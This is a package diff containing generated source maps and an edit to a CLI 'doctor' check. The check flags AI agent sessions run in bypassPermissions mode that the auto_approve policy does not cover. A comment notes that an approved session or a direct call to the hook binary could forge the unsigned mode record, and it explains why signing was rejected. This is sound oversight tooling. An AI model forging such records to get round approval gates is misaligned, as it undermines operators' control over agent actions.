,GAAG,KAAK,SAAS,CAAC,CAAC,CAAC,iBAAiB,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC;IAC5E,MAAM,MAAM,GAAG,IAAI,CAAC,MAAM,KAAK,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,IAAI,CAAC;IAE9D,MAAM,WAAW,GAAG,qBAAqB,CAAC;QACxC,YAAY;QACZ,cAAc,EAAE,IAAI,CAAC,cAAc;QACnC,eAAe;QACf,OAAO;QACP,MAAM;QACN,SAAS;QACT,GAAG,CAAC,cAAc,KAAK,SAAS,CAAC,CAAC,CAAC,EAAE,cAAc,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;QAC3D,GAAG,CAAC,iBAAiB,KAAK,SAAS,CAAC,CAAC,CAAC,EAAE,iBAAiB,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;QACjE,GAAG;KACJ,CAAC,CAAC;IACH,IAAI,CAAC,WAAW,CAAC,EAAE,EAAE,CAAC;QACpB,IAAI,WAAW,CAAC,MAAM,KAAK,oBAAoB,EAAE,CAAC;YAChD,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,oBAAoB,EAAE,MAAM,EAAE,WAAW,CAAC,MAAM,EAAE,CAAC;QACjF,CAAC;QACD,IAAI,WAAW,CAAC,MAAM,KAAK,eAAe,EAAE,CAAC;YAC3C,mEAAmE;YACnE,mEAAmE;YACnE,gEAAgE;YAChE,6DAA6D;YAC7D,yDAAyD;YACzD,gEAAgE;YAChE,6DAA6D;YAC7D,gEAAgE;YAChE,mEAAmE;YACnE,kEAAkE;YAClE,6CAA6C;YAC7C,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,eAAe,EAAE,MAAM,EAAE,WAAW,CAAC,MAAM,EAAE,CAAC;QAC5E,CAAC;QACD,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,cAAc,EAAE,MAAM,EAAE,WAAW,CAAC,MAAM,EAAE,CAAC;IAC3E,CAAC;IAED,MAAM,aAAa,GAAG,uBAAuB,CAAC,IAAI,CAAC,cAAc,EAAE,eAAe,CAAC,CAAC;IACpF,IAAI,YAA0D,CAAC;IAC/D,IAAI,IAAI,CAAC,SAAS,EAAE,CAAC;QACnB,YAAY,GAAG,MAAM,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,cAAc,EAAE,aAAa,CAAC,CAAC;IAC1E,CAAC;SAAM,IAAI,QAAQ,EAAE,CAAC;QACpB,YAAY,GAAG,MAAM,cAAc,CACjC,QAAQ,EACR,IAAI,CAAC,cAAc,EACnB,aAAa,EACb,EAAE,EACF,8BAA8B,CAC/B,CAAC;IACJ,CAAC;SAAM,CAAC;QACN,YAAY,GAAG;YACb,EAAE,EAAE,KAAK;YACT,MAAM,EAAE,iBAAiB;gBACvB,CAAC,CAAC,wBAAwB,iBAAiB,yBAAyB;gBACpE,CAAC,CAAC,2CAA2C;SAChD,CAAC;IACJ,CAAC;IAED,OAAO;QACL,EAAE,EAAE,IAAI;QACR,QAAQ,EAAE,WAAW,CAAC,QAAQ;QAC9B,eAAe;QACf,cAAc,EAAE,IAAI,CAAC,cAAc;QACnC,SAAS;QACT,UAAU,EAAE,YAAY,CAAC,EAAE;YACzB,CAAC,CAAC,EAAE,OAAO,EAAE,IAAI,EAAE;YACnB,CAAC,CAAC,EAAE,OAAO,EAAE,KAAK,EAAE,MAAM,EAAE,YAAY,CAAC,MAAM,EAAE;KACpD,CAAC;AACJ,CAAC"}
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/cli/delegate/index.ts"],"names":[],"mappings":"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"}

package/dist/cli/doctor/bypass-without-auto-approve.js

@@ -32,9 +32,15 @@
 // already-approved session (or anything else able to invoke the hook
 // binary directly) can write, or forge, one. That is exactly why this
 // finding stays advisory-only and never feeds a gate or an approval: the
-// operator who reads it decides what it means. A possible future
-// hardening is signing the observation the way approval markers are
-// signed.
+// operator who reads it decides what it means. Signing the observation
+// was considered and rejected: a signature would only prove the hook
+// signed the record, not that the named session actually ran under that
+// mode, and it would open a second, unconditional signing surface for
+// the marker-signing key (not a path to mint an approval marker, which
+// stays namespaced by markerId). See
+// docs/decisions/2026-08-27-ug-auto-mode-approval.md's "Amendment:
+// permission-mode observation stays unsigned" for the full reasoning and
+// the reopen criterion.
 import { CLAUDE_CODE_HARNESS, harnessAllowed, listPermissionModeObservations, parseAutoApprove, permissionModeAllowed, renderAutoApproveSnippet, sanitizeForDisplay, } from "../../policy-packs/builtin/understanding-before-execution-runtime.js";
 import { findEnabledUnderstandingPack } from "./understanding-mode-env.js";
 /** The one payload literal this finding cares about (T1, see the ADR's signal table). */
@@ -79,7 +85,7 @@ export function checkBypassWithoutAutoApprove(manifest, generatedDir, opts) {
     return {
         sessionId,
         observedAt,
-        message: `bypassPermissions observed for session ${sessionId} (${observedAt}) but auto_approve does not cover it; every gated call in that session needed a manual approval`,
+        message: `bypassPermissions observed for session ${sessionId} (${observedAt}) but auto_approve does not cover it (hook-written, unsigned self-report; confirm from your own launch settings before enabling auto_approve); every gated call in that session needed a manual approval`,
         detail: [
             "run `harness pack upgrade understanding-before-execution` to insert the block below, or add it by hand under policy_packs[understanding-before-execution].config:",
             ...renderAutoApproveSnippet(0).split("\n"),

package/dist/cli/doctor/bypass-without-auto-approve.js.map

@@ -1 +1 @@
-{"version":3,"file":"bypass-without-auto-approve.js","sourceRoot":"","sources":["../../../src/cli/doctor/bypass-without-auto-approve.ts"],"names":[],"mappings":"AAAA,iEAAiE;AACjE,0EAA0E;AAC1E,sEAAsE;AACtE,6CAA6C;AAC7C,qEAAqE;AACrE,qEAAqE;AACrE,yEAAyE;AACzE,uEAAuE;AACvE,6DAA6D;AAC7D,oEAAoE;AACpE,EAAE;AACF,qDAAqD;AACrD,qEAAqE;AACrE,qEAAqE;AACrE,yDAAyD;AACzD,mEAAmE;AACnE,yEAAyE;AACzE,wEAAwE;AACxE,EAAE;AACF,kEAAkE;AAClE,sEAAsE;AACtE,iEAAiE;AACjE,EAAE;AACF,uEAAuE;AACvE,kEAAkE;AAClE,wEAAwE;AACxE,sEAAsE;AACtE,yEAAyE;AACzE,yEAAyE;AACzE,wEAAwE;AACxE,mEAAmE;AACnE,qEAAqE;AACrE,sEAAsE;AACtE,yEAAyE;AACzE,iEAAiE;AACjE,oEAAoE;AACpE,UAAU;AAEV,OAAO,EACL,mBAAmB,EACnB,cAAc,EACd,8BAA8B,EAC9B,gBAAgB,EAChB,qBAAqB,EACrB,wBAAwB,EACxB,kBAAkB,GACnB,MAAM,sEAAsE,CAAC;AAE9E,OAAO,EAAE,4BAA4B,EAAE,MAAM,6BAA6B,CAAC;AAE3E,yFAAyF;AACzF,MAAM,WAAW,GAAG,mBAAmB,CAAC;AAmBxC;;;;;;;;;;;;;;;;;GAiBG;AACH,MAAM,UAAU,6BAA6B,CAC3C,QAAkB,EAClB,YAAoB,EACpB,IAAgC;IAEhC,MAAM,IAAI,GAAG,4BAA4B,CAAC,QAAQ,CAAC,CAAC;IACpD,IAAI,CAAC,IAAI;QAAE,OAAO,SAAS,CAAC;IAE5B,MAAM,YAAY,GAAG,8BAA8B,CAAC,YAAY,EAAE;QAChE,UAAU,EAAE,IAAI,CAAC,cAAc;KAChC,CAAC,CAAC;IACH,MAAM,cAAc,GAAG,YAAY,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,cAAc,KAAK,WAAW,CAAC,CAAC;IAC1F,IAAI,CAAC,cAAc;QAAE,OAAO,SAAS,CAAC;IAEtC,MAAM,WAAW,GAAG,gBAAgB,CAAC,IAAI,CAAC,MAAM,CAAC,cAAc,CAAC,CAAC,CAAC;IAClE,MAAM,OAAO,GACX,qBAAqB,CAAC,WAAW,EAAE,WAAW,CAAC;QAC/C,cAAc,CAAC,WAAW,EAAE,mBAAmB,CAAC,CAAC;IACnD,IAAI,OAAO;QAAE,OAAO,SAAS,CAAC;IAE9B,kEAAkE;IAClE,sEAAsE;IACtE,MAAM,SAAS,GAAG,kBAAkB,CAAC,cAAc,CAAC,SAAS,CAAC,CAAC;IAC/D,MAAM,UAAU,GAAG,kBAAkB,CAAC,cAAc,CAAC,UAAU,CAAC,CAAC;IACjE,OAAO;QACL,SAAS;QACT,UAAU;QACV,OAAO,EAAE,0CAA0C,SAAS,KAAK,UAAU,iGAAiG;